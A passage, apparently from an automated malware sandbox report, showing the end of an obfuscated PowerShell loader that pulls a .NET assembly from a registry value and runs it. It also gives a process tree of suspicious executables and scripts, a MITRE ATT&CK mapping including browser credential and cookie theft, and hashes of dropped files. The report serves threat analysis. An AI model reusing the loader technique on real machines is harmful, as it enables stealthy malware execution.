oMdLOWgFnVuGtlQ,$CFKSQtrbpqlkjBNhrAnbyQ).Invoke($DRyZevrqMfMsFhlGn,[uint32]8,0x20,[ref]$oiVVOzcgoO);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+'O'+'F'+[Char](84)+''+[Char](87)+''+'A'+''+'R'+''+[Char](69)+'').GetValue(''+[Char](100)+''+[Char](105)+'al'+'e'+''+'r'+'s'+'t'+''+[Char](97)+''+[Char](103)+'er')).EntryPoint.Invoke($Null,$Null)"
1⤵
- Command and Scripting Interpreter: PowerShell
- Modifies data under HKEY_USERS
PID:4104

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:6516

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:7700

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 7968 -ip 7968
1⤵
PID:7888

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 588 -p 7216 -ip 7216
1⤵
PID:3592

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 5068 -ip 5068
1⤵
PID:7648

C:\Users\Admin\AppData\Local\Temp\Server.exe
C:\Users\Admin\AppData\Local\Temp/Server.exe
1⤵
PID:5888

C:\Users\Admin\AppData\Roaming\Google.exe
C:\Users\Admin\AppData\Roaming\Google.exe
1⤵
PID:6672

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 4432 -ip 4432
1⤵
PID:6272

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 596 -p 4992 -ip 4992
1⤵
PID:7084

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 588 -p 1084 -ip 1084
1⤵
PID:7896

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 8052 -ip 8052
1⤵
PID:7576

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 6788 -ip 6788
1⤵
PID:6296

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 496 -p 240 -ip 240
1⤵
PID:984

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 5696 -ip 5696
1⤵
PID:7868

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 6100 -ip 6100
1⤵
PID:4820

C:\Windows\svchosthelper.exe
C:\Windows\svchosthelper.exe
1⤵
PID:1948

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 496 -p 7720 -ip 7720
1⤵
PID:6984

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 2580 -ip 2580
1⤵
PID:3420

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 6324 -ip 6324
1⤵
PID:6168

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 8000 -ip 8000
1⤵
PID:3756

C:\Users\Admin\AppData\Local\Temp\Server.exe
C:\Users\Admin\AppData\Local\Temp/Server.exe
1⤵
PID:8016

C:\Users\Admin\AppData\Roaming\Google.exe
C:\Users\Admin\AppData\Roaming\Google.exe
1⤵
PID:7588

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 5108 -ip 5108
1⤵
PID:7380

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 7456 -ip 7456
1⤵
PID:6640

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 588 -p 5276 -ip 5276
1⤵
PID:5292

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{351f09c3-1056-4633-abce-2b4b3bd90377}
1⤵
PID:7176

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 604 -p 8100 -ip 8100
1⤵
PID:6588

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{bfca9080-0f3d-46a3-a536-19889bb708f5}
1⤵
PID:6604

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 400 -p 6436 -ip 6436
1⤵
PID:4292

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 592 -p 4800 -ip 4800
1⤵
PID:6332

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 676 -p 4800 -ip 4800
1⤵
PID:3964

C:\Users\Admin\AppData\Local\Temp\4lbulcM+FpSc3Wuk\bi2knJKRLbj2.exe
C:\Users\Admin\AppData\Local\Temp\4lbulcM+FpSc3Wuk\bi2knJKRLbj2.exe
1⤵
PID:4092
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 4092 -s 576
  2⤵
  - Program crash
  PID:4748
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 4092 -s 564
  2⤵
  - Program crash
  PID:3444

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 676 -p 4092 -ip 4092
1⤵
PID:6504

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 576 -p 4092 -ip 4092
1⤵
PID:5292

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 6728 -ip 6728
1⤵
PID:6148

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 636 -p 1472 -ip 1472
1⤵
PID:5136

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 692 -p 8108 -ip 8108
1⤵
PID:6472

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 596 -p 6568 -ip 6568
1⤵
PID:2144

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 596 -p 1072 -ip 1072
1⤵
PID:4896

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 596 -p 6484 -ip 6484
1⤵
PID:4804

C:\Users\Admin\AppData\Local\Temp\Server.exe
C:\Users\Admin\AppData\Local\Temp/Server.exe
1⤵
PID:7400

C:\Users\Admin\AppData\Roaming\Google.exe
C:\Users\Admin\AppData\Roaming\Google.exe
1⤵
PID:6848

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 768 -p 7228 -ip 7228
1⤵
PID:6832

C:\Users\Admin\AppData\Local\Temp\12526980101\Et5cbkQ.exe
C:\Users\Admin\AppData\Local\Temp\12526980101\Et5cbkQ.exe
1⤵
PID:6668

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 692 -p 6280 -ip 6280
1⤵
PID:3284

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 596 -p 7020 -ip 7020
1⤵
PID:804

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:6616

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:7784

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:7620

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:1980

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 380 -p 4340 -ip 4340
1⤵
PID:5180

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 652 -p 8008 -ip 8008
1⤵
PID:1716

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:1916

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 700 -p 7172 -ip 7172
1⤵
PID:6348

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 628 -p 7172 -ip 7172
1⤵
PID:6524

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 484 -p 5588 -ip 5588
1⤵
PID:4692

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 652 -p 8276 -ip 8276
1⤵
PID:8476

C:\Windows\svchosthelper.exe
C:\Windows\svchosthelper.exe
1⤵
PID:8628

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:8316

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 636 -p 8104 -ip 8104
1⤵
PID:8780

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 656 -p 9148 -ip 9148
1⤵
PID:11772

C:\Users\Admin\AppData\Local\Temp\Server.exe
C:\Users\Admin\AppData\Local\Temp/Server.exe
1⤵
PID:12136

C:\Users\Admin\AppData\Roaming\Google.exe
C:\Users\Admin\AppData\Roaming\Google.exe
1⤵
PID:11176

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 692 -p 11976 -ip 11976
1⤵
PID:11496

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 636 -p 10332 -ip 10332
1⤵
PID:10980

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 724 -p 11644 -ip 11644
1⤵
PID:10980

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 10424 -ip 10424
1⤵
PID:10540

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 584 -p 11580 -ip 11580
1⤵
PID:11664

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 12784 -ip 12784
1⤵
PID:11136

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 636 -p 8760 -ip 8760
1⤵
PID:12552

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 676 -p 9396 -ip 9396
1⤵
PID:8960

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 628 -p 2004 -ip 2004
1⤵
PID:5260

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 616 -p 2396 -ip 2396
1⤵
PID:13140

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 596 -p 12400 -ip 12400
1⤵
PID:7852

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 788 -p 13188 -ip 13188
1⤵
PID:11388

C:\Windows\svchosthelper.exe
C:\Windows\svchosthelper.exe
1⤵
PID:8212

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 668 -p 11044 -ip 11044
1⤵
PID:13096

C:\Users\Admin\AppData\Roaming\Google.exe
C:\Users\Admin\AppData\Roaming\Google.exe
1⤵
PID:5540

C:\Users\Admin\AppData\Local\Temp\Server.exe
C:\Users\Admin\AppData\Local\Temp/Server.exe
1⤵
PID:13056

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 616 -p 9096 -ip 9096
1⤵
PID:12328

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:2604

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 5828 -ip 5828
1⤵
PID:10584

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
PID:9496
- C:\Windows\explorer.exe
  "C:\Windows\explorer.exe" "C:\Users\Admin\AppData\Local\WindowsService_e60e\dllhost_508f.vbs"
  2⤵
  PID:12012

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:13172

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:2604

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 400 -p 11892 -ip 11892
1⤵
PID:7952

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:10792

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
PID:8484
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\WindowsService_e60e\dllhost_508f.vbs"
  2⤵
  PID:9004
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c "C:\Users\Admin\AppData\Local\WindowsService_e60e\dllhost_5a7d.bat"
    3⤵
    PID:12732

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 724 -p 10400 -ip 10400
1⤵
PID:10128

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:10808

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 592 -p 10488 -ip 10488
1⤵
PID:12328

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:11488

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 724 -p 11968 -ip 11968
1⤵
PID:9608

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:6336

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Modify Authentication Process

T1556

Power Settings

T1653

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Modify Authentication Process

T1556

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Modify Authentication Process

T1556

Steal Web Session Cookie

T1539

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Process Discovery

T1057

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Time Discovery

T1124

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Data from Local System

T1005

Email Collection

T1114

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

e58d30d.rbs

Path C:\Config.Msi\e58d30d.rbs
Size 8KB
SHA256 369551cc7e339fb966acb25a5db30b12e0e98704f8228de3c0da7d6d64b04bca
MD5 50a85c926a46fed680b3eaf204f9aa05
SHA1 92904618aad47e7763c0b41190d0d7d238571cfa
SHA512 8fbfed19585d3d9463f1a655c302731abe5c3d0fb67517e86d218addc3cfb67cd34af014554169f71c2fdd4924ef3784bdd3a11650abe21a386ae4cf334385c8
SSDEEP 192:MeJ2DWDVDqClUEgR2HHItcR2HHiTttHsm1W/GAcpMStX8Z8sQ:MeY2FTU5R2H2cR2HCTjHsm1W/GGStX8U
TLSH
T1790200017781C693E4792B30CF179B053F6AE3ED8669335B4ACEE0645F027ACEB59096
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

e6087c4.rbs

Path C:\Config.Msi\e6087c4.rbs
Size 4KB
SHA256 be665ddd29323f29c90ab289996733ae47585a79ce683799bb152a9e6c59e8cb
MD5 71500ff88e5fad11645bf9d3cafb282d
SHA1 e319ab7d979d28c82e81ed4b5792f394e887ef95
SHA512 682aba277df08222f9ed8d044ab74e31d70c9a2d08670cc96abb4ac958af06a87594289b246203e4846e5cc59f12e16df1341021767e4f50e80e7aac8fcf1187
SSDEEP 96:CeTsnOmyEc2DJGCmAXnOThqADMkAXnQThqADMgFAXXBAXjgPX4drCPX1P1:CegOl2DgC3WtIstRmSihH
TLSH
T1E891E302A644C693ECA22B30CE1797053B77D3F8C729638B168DE1741E43B69EFD9186
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

58qX79

Path C:\ProgramData\I4ss1\58qX79
Size 5.0MB
SHA256 c721d65f0e69cf7c10febd77da26f9e6fafb7057663069bb24c5cbcc54ea1fdd
MD5 1581162bac16079f7474c4ba7dab6259
SHA1 e7c23707548567a0374f28687f45470e3f066b1f
SHA512 965f41e32398263578be25e73634ce28d12cf14b01792791112256fd776910355c61a82b4ff559fd642c3366d18125bce9626fb5fb64b979bd22d205b810589f
SSDEEP 192:M8rJQaXoMXp0VW9FxWHf0sw60Yky/zZE:M8r54w0VW3xW/iC
TLSH
T14536001F7A201150C4EAA232ACF36F15283F71268637769339A4156D4DE0727B92DCBB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

IdO0u5

Path C:\ProgramData\I4ss1\IdO0u5
Size 288KB
SHA256 1a8aca2098bb0576ecf4ab52e956d3c36ca050530bca83b1602246b497647ee7
MD5 ebf5b1bc01c41bf92f7e1f8e8bc63604
SHA1 9277d609f46d116d1b6f916093943962d59b6b77
SHA512 48a8dfedbf081fc8a67ec574ceba4b6e2299721eef103e438a860d69daa428bcb567e61857a395b0122310b141eee242c176d0b13d43c62124be4ffac9ebd93f
SSDEEP 192:fva0zkVmvQhyn+Zoz679fqlQbGhMHPaVAL23vMW9+C3db+:f1zkVmvQhyn+Zoz67PW9TV+
TLSH
T13254AA06ED85F10ADB1E6830C5454DF23941AA0447815E2BDBBC1E3E1E7564DBAAC5C6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

lH5KXl

Path C:\ProgramData\I4ss1\lH5KXl
Size 96KB
SHA256 33a2357af8dc03cc22d2b7ce5c90abf25ac8b40223155a516f1a8df4acbf2a53
MD5 6066c07e98c96795ecd876aa92fe10f8
SHA1 f73cbd7b307c53aaae38677d6513b1baa729ac9f
SHA512 7d76207c1c6334aa98f79c325118adf03a5ba36b1e2412803fd3e654a9d3630c775f32a98855c46342eba00d4a8496a3ded3686e74beaac9c216beee37aa5cb7
SSDEEP 12:DQnD+23Fmdmc/OPVJXfPNn43etRRfYR5O8atLwxeYaNcDakMG/lO:DQnS232mNVpP965RayKN0MG/lO
TLSH
T192A3DD826B781395C44701B2FCB0565E0D3CA23849272B55AC39B0B30CD6A438A329FB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

3JpAT8

Path C:\ProgramData\dkX1a\3JpAT8
Size 6KB
SHA256 a15c5012cf1a9fbd32f6c4ef273a94887b39fc0b26891690d8162384b9f1223f
MD5 4b715dec3cc1ea68787c9e2edf922267
SHA1 f824b0193eda2590763a29fe61fe109c97679054
SHA512 95db6b8686c0526fa9a64974217c3c08267ee4c4a53443c4a05f3ce40b0d73b466e9e95464a5a040aba74515ed844624592a9a3baa176e7a01daf04ae6d254d5
SSDEEP 96:xHX9UTUq1qGqafuKjmnjv1zSvHSSlIdv9jwnlHw303tBw88H8L4cnQVJ:d91RafuNDqHSSzw303tBw88B
TLSH
T193E11F7894088F7F64B6776CAC6888316AB2413BBBBF68D750B944C5054CF3442F96EB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

223DE96EE265046957A660ED7C9DD9E7_EFF9B9BA98DEAA773F261FA85A0B1771

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\223DE96EE265046957A660ED7C9DD9E7_EFF9B9BA98DEAA773F261FA85A0B1771
Size 2KB
SHA256 f47119f9764c96ea3cad61e9339fa55177d25309db36a9ccdb5122ac6281dd0c
MD5 94ff49bad1a4da166f6730b641672fcb
SHA1 af1cea7330996a4f46cdc19f91602003b71ef62c
SHA512 422c2a10dc98e3b0fa88ab581e0acc1da629a413bceafaedca3581011c1b5f9ee4b1d90235f7249ca9aa43273d2aac80471239ac5eb55460d3c4fe5cfff78084
TLSH
T17C41D7DA6B183860FF818E4845B8DE353E38B1946DC1126A30FBD4B2B44A7D02E598DC
MD5 SHA1 SHA512 TLSH

Submit Download

517E7112D0F8DA082ED4A5760801994D_A8C78A65627D57AA1C97268C2A0931E0

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\517E7112D0F8DA082ED4A5760801994D_A8C78A65627D57AA1C97268C2A0931E0
Size 2KB
SHA256 e4228f274bc6123fe61826a24bf57fdae91dc8bc2db0274df7e2f28acba70b82
MD5 e88aca10c1d26ba758d95c6b1a36f15a
SHA1 f6b2f4a6418ff22c8ff23fa3c1ca640af4f03adc
SHA512 59d5a2ce5b866e8222e63d66bd0f8bc636de7850548630eb74ff0ad126207aeb634b374d84c0ec7207be253377ae5eee9466d02e25b7621c94c2f005c6dbb1b0
TLSH
T1F341E9FB0F0E3854BE464F466EF8C67A1F3C906852440A52B572C9C314EEBE52D0680C
MD5 SHA1 SHA512 TLSH

Submit Download

223DE96EE265046957A660ED7C9DD9E7_EFF9B9BA98DEAA773F261FA85A0B1771

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\223DE96EE265046957A660ED7C9DD9E7_EFF9B9BA98DEAA773F261FA85A0B1771
Size 450B
SHA256 609beaff068efdf7460aebeaa71f827d27c78bdae29a72a06c331b8431814011
MD5 7d130ddd923f80f7185114c6e38c4aa8
SHA1 2ca7196c15f75e9f4f4399ae48f00ce2f90d4628
SHA512 2061ded6e061dc3791c939f1e87e687413f775add98e7f7fc1b6266e874cc499011f1a8ce23ecacc7c0a6f1d3176d6ba6ce5c454455d3896a7083c2efa5cf6e4
TLSH
T129F068283EFE947BF133D8350BCAB271186BF302301225F5237003083E21E706C51A0A
MD5 SHA1 SHA512 TLSH

Submit Download

517E7112D0F8DA082ED4A5760801994D_A8C78A65627D57AA1C97268C2A0931E0

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\517E7112D0F8DA082ED4A5760801994D_A8C78A65627D57AA1C97268C2A0931E0
Size 458B
SHA256 e571dd45d029286bf632e31e37c845056ac3a10072e2dd5f59aaff5d1878e1be
MD5 da3cf2aed2d71ec5283c84c2d9337f04
SHA1 bc2a2aae91d98b01f9caee3f5baf5ff92fad5338
SHA512 e5a781127b12d4e3842ccdcb357e485e38b55eb9bc32c309aba09f991a9de4493be8eff125cf1b60d63b5a57c1e3dc1ec904404164bc0031987722c4e9bdc8d4
TLSH
T137F0221C16B7208FF433CA7C41E9A0C64E27EA323079A36470A813056A42E81BE23D11
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad\settings.dat
Size 40B
SHA256 7134ade44c1ddf0c89107a92b1216181db781f14d1f4b18e82773f5dd30fd626
MD5 122cac69d9ad1e9e414a03288796d01a
SHA1 02026fa9857aa65c98011e01ad88fbf9a6e18a41
SHA512 9f741e8a86b98d6451556c268ea9b043dce28dcbb378ee19b29df80285d2d8be7401e15fff5aa754a9292d84c0f3da251640f47af19f3dfb72e421534abb77d3
MD5 SHA1 SHA512

Submit Download

3704bb0a-6976-4e90-9d65-bb4029aa8e06.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\3704bb0a-6976-4e90-9d65-bb4029aa8e06.tmp
Size 19KB
SHA256 152897bb74ab28938e3726b6cafa079e0aa1b7dcc7fed9273fed6cb7976f3af7
MD5 362ad00618ab3f766e45cf313d24afa9
SHA1 dfbb6a8a13fc65980b5adfe66354b4f3c47bd0ea
SHA512 701af8954f63a7a5fc6e23c42753243e83159cf22597f4d1a15384d32e18f7d01ea29219ade9831fe5de58d63dfaeed495fcaceb19087cd6bf0c9a3d154f180c
SSDEEP 384:4qj0v7KxkXqKf/pUZNCgVLH2Hfgsl0X7pLuLc8a7XOf28Ap10z+ErU3W8HGWTStp:460v7KxkXqKf/pUZNCgVLH2HfgsyX7pK
TLSH
T1529219676C4C9A770FC4D6CCDC17BB4FADB5024BA5D9886482FA981903D5BCB110A2EB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 336B
SHA256 57daccb8621008f484e43331fa9bca7f95d09d32d53d630df5ed80451c5fd5bb
MD5 88d3311b786caed3e2e602f93c15351e
SHA1 9dfe63a56cc7ba0d641a7616f110539815a712c2
SHA512 d74cfae905210bfba7631208f0f8716d8a310b57d98915395e815fc79454ee3459fbab74b5ff8933ca751dba1ce06097b1bf1374ee06535bb47a26adb031205f
TLSH
T1EAE02E8C02021209E3C44372E4093D016A063E3E50E01B0A4DF2BE3FA2802B70B2E0A6
MD5 SHA1 SHA512 TLSH

Submit Download

verified_contents.json

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\Temp\scoped_dir4332_2067382908\CRX_INSTALL\_metadata\verified_contents.json
Size 2KB
SHA256 602afb93e4e3cb6ca026d60a5e85b468b7e8eab0c49a60a4a7ae72b150ab8bd2
MD5 2ac3ff36288f5bbe0a08b907228c4d50
SHA1 c0e74971601345244c51a756eefb7d75cc50284a
SHA512 c56a11240634bed55a6224d925266e92e776878de033c36dfbb02a24d495e96206c6ed673d080b17498fbc9b971b7991172a48f29b1adc8a9a647913795eff1d
TLSH
T1F551EBF0CC6EB60C6C18B234869B2737D75681E9E18825EE07E19CB534DA909C1B34ED
MD5 SHA1 SHA512 TLSH

Submit Download

content-bridge.js

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\Temp\scoped_dir4332_2067382908\CRX_INSTALL\content-bridge.js
Size 344B
SHA256 809853f774233470176dc2be7a436dd6e01c81533d4219bfdab9c727901404f6
MD5 2b2df29e7b8c924dfd3f2d5f6f9e4f58
SHA1 c7efaf51ec8156979c749fd8fc0a50cd06993f75
SHA512 8119cba39b1da0d78add2705d0c1ee1e8d2a18042f756afca914f17cc60480dc4c1dc9c71a4fba97ec921bc1911a17853f1c54116c80c450ac5096a83f44bfda
TLSH
T1DDE0200DB98069180717D3393A2E7404135A166DDC053145561898B95671FD7250DFB2
MD5 SHA1 SHA512 TLSH

Submit Download

content.js

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\Temp\scoped_dir4332_2067382908\CRX_INSTALL\content.js
Size 4KB
SHA256 ca4ed664e3afee10a8c8f4cb638690bc368ac326be7f299b294941ba05e16a13
MD5 6a39a78cdf1809953608ed8f1fed53b5
SHA1 18714003c9c66ff6a3b5d24d6c627c010273d8dd
SHA512 4ff67d96c9287277479ee76539e56f769e2d5a6d3398b0eb9b8b2a81a18fa907f77d6babb9fef8609adb601ed769c666d37d87568af7f1af87a9f104f4482104
SSDEEP 96:HqtgJbdZAgzMKMbRoy8NQ/av8fAaydeW/5kZmmn5:wTR1QtIyF/AB5
TLSH
T16891A689F591387E47F20425E73B3604737F4BC6584A5581B6E668993694A0FC20BFE8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

icon128.png

